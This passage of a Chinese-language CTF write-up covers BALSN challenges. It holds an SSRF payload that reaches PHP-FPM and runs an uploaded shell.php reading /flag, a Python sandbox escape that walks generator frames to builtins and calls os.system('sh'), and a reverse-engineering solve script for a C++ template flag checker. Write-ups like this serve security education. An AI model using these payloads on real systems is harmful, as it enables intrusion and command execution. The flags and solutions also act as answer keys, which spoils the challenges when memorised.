AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|fcgi://php:9000/tmp/tmp/pear/download/shell.php/?cmd=cat%20/flag' -v

Flag: BALSN{e4Sy_4pAcHy_5SrF}

Misc

metaeasy

class MasterMetaClass(type):   
    def __new__(cls, class_name, class_parents, class_attr):
        def getFlag(self):
            print('Here you go, my master')
            with open('flag') as f:
                print(f.read())
        class_attr[getFlag.__name__] = getFlag
        attrs = ((name, value) for name, value in class_attr.items() if not name.startswith('__'))
        class_attr = dict(('IWant'+name.upper()+'Plz', value) for name, value in attrs)
        newclass = super().__new__(cls, class_name, class_parents, class_attr)
        return newclass
    def __init__(*argv):
        print('Bad guy! No Flag !!')
        raise 'Illegal'

class BalsnMetaClass(type):
    def getFlag(self):
        print('You\'re not Master! No Flag !!')

    def __new__(cls, class_name, class_parents, class_attr):
        newclass = super().__new__(cls, class_name, class_parents, class_attr)
        setattr(newclass, cls.getFlag.__name__, cls.getFlag)
        return newclass

def secure_vars(s):
    attrs = {name:value for name, value in vars(s).items() if not name.startswith('__')}
    return attrs

safe_dict = {
            'BalsnMetaClass' : BalsnMetaClass,
            'MasterMetaClass' : MasterMetaClass,
            'False' : False,
            'True' : True,
            'abs' : abs,
            'all' : all,
            'any' : any,
            'ascii' : ascii,
            'bin' : bin,
            'bool' : bool,
            'bytearray' : bytearray,
            'bytes' : bytes,
            'chr' : chr,
            'complex' : complex,
            'dict' : dict,
            'dir' : dir,
            'divmod' : divmod,
            'enumerate' : enumerate,
            'filter' : filter,
            'float' : float,
            'format' : format,
            'hash' : hash,
            'help' : help,
            'hex' : hex,
            'id' : id,
            'int' : int,
            'iter' : iter,
            'len' : len,
            'list' : list,
            'map' : map,
            'max' : max,
            'min' : min,
            'next' : next,
            'oct' : oct,
            'ord' : ord,
            'pow' : pow,
            'print' : print,
            'range' : range,
            'reversed' : reversed,
            'round' : round,
            'set' : set,
            'slice' : slice,
            'sorted' : sorted,
            'str' : str,
            'sum' : sum,
            'tuple' : tuple,
            'type' : type,
            'vars' : secure_vars,
            'zip' : zip,
            '__builtins__':None
            }

def createMethod(code):
    if len(code) > 45:
        print('Too long!! Bad Guy!!')
        return
    for x in ' _$#@~':
        code = code.replace(x,'')
    def wrapper(self):
        exec(code, safe_dict, {'self' : self})
    return wrapper

def setName(pattern):
    while True:
        name = input(f'Give me your {pattern} name :')
        if (name.isalpha()):
            break
        else:
            print('Illegal Name...')
    return name

def setAttribute(cls):
    attrName = setName('attribute')
    while True:
        attrValue = input(f'Give me your value:')
        if (attrValue.isalnum()):
            break
        else:    
            print('Illegal value...')
    setattr(cls, attrName, attrValue)

def setMethod(cls):
    methodName = setName('method')
    code = input(f'Give me your function:')       
    func = createMethod(code)
    setattr(cls, methodName, func)

def getAttribute(obj):
    attrs = [attr for attr in dir(obj) if not callable(getattr(obj, attr)) and not attr.startswith("__")]
    x = input('Please enter the attribute\'s name :')
    if x not in attrs:
        print(f'You can\'t access the attribute {x}')
        return
    else:
        try:
            print(f'{x}: {getattr(obj, x)}')
        except:
            print("Something went wrong in your attribute...")
            return
    
def callMethod(cls, obj):
    attrs = [attr for attr in dir(obj) if callable(getattr(obj, attr)) and not attr.startswith("__")]
    x = input('Please enter the method\'s name :')
    if x not in attrs:
        print(f'You can\'t access the method {x}')
        return
    else:
        try:
            print(f'calling method {x}...')
            cls.__dict__[x](obj)
            print('done')
        except:
            print('Something went wrong in your method...')
            return

class Guest(metaclass = BalsnMetaClass):
    pass

if __name__ == '__main__':
    print(f'Welcome!!We have prepared a class named "Guest" for you')
    cnt = 0
    while cnt < 3:
        cnt += 1
        print('1. Add attribute')
        print('2. Add method')
        print('3. Finish')
        x = input("Option ? :")
        if x == "1":
            setAttribute(Guest)
        elif x == "2":
            setMethod(Guest)
        elif x == "3":
            break
        else:
            print("invalid input.")
            cnt -= 1
    print("Well Done! We Create an instance for you !")
    obj = Guest()
    cnt = 0
    while cnt < 3:
        cnt += 1
        print('1. Inspect attribute')
        print('2. Using method')
        print('3. Exit')
        x = input("Option ? :")
        if x == "1":
            getAttribute(obj)
        elif x == "2":
            callMethod(Guest, obj)
        elif x == "3":
            print("Okay...exit...")
            break
        else:
            print("invalid input.")
            cnt -= 1

這題 code 有點多,簡單來說它可以讓你定義三個 attribute 或是 method,然後讓你呼叫或是檢視 attribute 或是 method。目標是要想辦法呼叫到 getFlag 函數。

我這題不是用 intended 解的所以比較快的樣子,有 firstblood。

反正它 createMethod 的地方只要求長度為 45 以下,然後 _$#@~ 的字元都會被 replace 掉。_ 直接全形字元 _ 繞過,然後空白用 \t 繞過就差不多了。所以之後就用 generator 湊個 gi_frame.f_back.f_back.f_builtins 這樣接一接就有 builtins,然後直接拿 shell 結束。

解法:

  1. create method a with self.g=(x.g.gi_frame.f_back for x in [self])
  2. create method b with self.b=next(self.g).f_back.f_builtins
  3. create method c with self.b[list(self.b)[6]]('os').system('sh')
  4. call method a
  5. call method b
  6. call method c
  7. cat flag

Intended 的話可以看別人的 wp,例如這篇

Rev

The g++ VM 1

這題有個沒 stripped 的 C++ ELF,在 ida 打開可以知道它是會讀入 36 字元的 flag 的 flag checker。字元限制在這個 charset 裡面: mgzreab_fw{p}dqlnxstvjyohiuck

reverse 的部份主要都是 🎃 在弄的,簡單來說 main 就是讀 6 個字元為一組放到 global 的 P,J,K,L,M,N 幾個變數去,然後會呼叫一個 table(i / 6) 函數。table(x) 裡面會先把六個字元 encode 成一個數字 S,之後根據 x0~5 的不同進入不同的函數利用 S 去計算一些東西,最後回傳答案到 main 和一些 magic number 比較。

這題的一大難點是它 table 裡面的函數名稱都長到不行,明顯是 C++ template 濫用到極致的程度,用 ghidra 打開時它還會因為 demangle 而 memory 爆炸...。光 table 裡面第一個把字元轉換成 S 的函數的名稱用 c++filt 展開就有 10MB。

總之 🎃 手動把 encode 的函數和 table(0) 給逆了出來。encode 的方法大致可表示如下:

def encode(s):
    P, J, K, L, M, N = s
    J = ((((J - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x1A) % 0x1D188D05
    P = (((P - 0x61) % 0x1A + 0x1A) % 0x1A) % 0x1D188D05

    J = (P % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    K = ((((K - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x2A4) % 0x1D188D05

    J = (K % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    L = ((((L - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x44A8) % 0x1D188D05

    J = (L % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    M = ((((M - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x6F910) % 0x1D188D05

    J = (M % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    N = ((((N - 0x61) % 0x1A + 0x1A) % 0x1A) * 0xB54BA0) % 0x1D188D05

    S = (N % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    return S

其中的 % 運算是 C 的 modulo, -1 % 3 = -1,所以 (((J - 0x61) % 0x1A + 0x1A) % 0x1A) 的運算其實在 python 中就只是 (J - 0x61) % 0x1A。另外是可以注意到 0x1A ** 2 == 0x2A4, 0x1A ** 3 == 0x44A8,所以這個的 encode 方法可以這樣表示:

S=P+Ja+Ka2+La3+Ma4+Na5S=P'+J'a+K'a^2+L'a^3+M'a^4+N'a^5

其中 PP' 等等的都是小於 a=0x1aa=\mathrm{0x1a} 的正整數,所以它 % 0x1D188D05 實際上毫無影響,所以就把 S 轉換為 aa 進制就能得到 encode 前的字串:

def decode(s):
    ss = list(s.digits(0x1A))
    ss += [0] * (6 - len(ss))
    return bytes(x + 0x61 for x in ss)

table(0) 的函數裡面也是好多層,相當複雜,不過大致上就是計算 SemodpS^e\bmod{p} 的運算,其中 pp 很容易取得,但 ee 需要自己 reverse 出來才能得到。

其他的 table(x) 函數也是做差不多的事,而他們的 pp 雖然都不同,但是都是質數。這邊我是想說 pp 都很小,不到 30 bits 而已。找他們乘法群的生成元出來,然後進 gdb 下斷點改 SS 的值並觀察 SemodpS^e\bmod{p} 的輸出,然後計算 dlog 就能求出 ee

之後就拿那些 magic number 開 ee 方根,這邊就差不多和 single prime RSA 一樣,很容易解。

def encode(s):
    P, J, K, L, M, N = s
    J = ((((J - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x1A) % 0x1D188D05
    P = (((P - 0x61) % 0x1A + 0x1A) % 0x1A) % 0x1D188D05

    J = (P % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    K = ((((K - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x2A4) % 0x1D188D05

    J = (K % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    L = ((((L - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x44A8) % 0x1D188D05

    J = (L % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    M = ((((M - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x6F910) % 0x1D188D05

    J = (M % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    N = ((((N - 0x61) % 0x1A + 0x1A) % 0x1A) * 0xB54BA0) % 0x1D188D05

    S = (N % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    return S


def decode(s):
    ss = list(s.digits(0x1A))
    ss += [0] * (6 - len(ss))
    return bytes(x + 0x61 for x in ss)


cs = [316196015, 183449189, 325026406, 93125040, 247649200, 358564396]
ps = [521206709, 280983943, 481821731, 446513681, 295950349, 519344851]
es = [398527879, 12904111, 229804014, 379903019, 116437633, 461497417]

for p, e, c in zip(ps, es, cs):
    F = GF(p)
    print(decode(ZZ(F(c).nth_root(e))).decode(), end="")

# balsnatheyymagicyycpplusyytemplateyc

Flag: balsn{the__magic__cpplus__template_}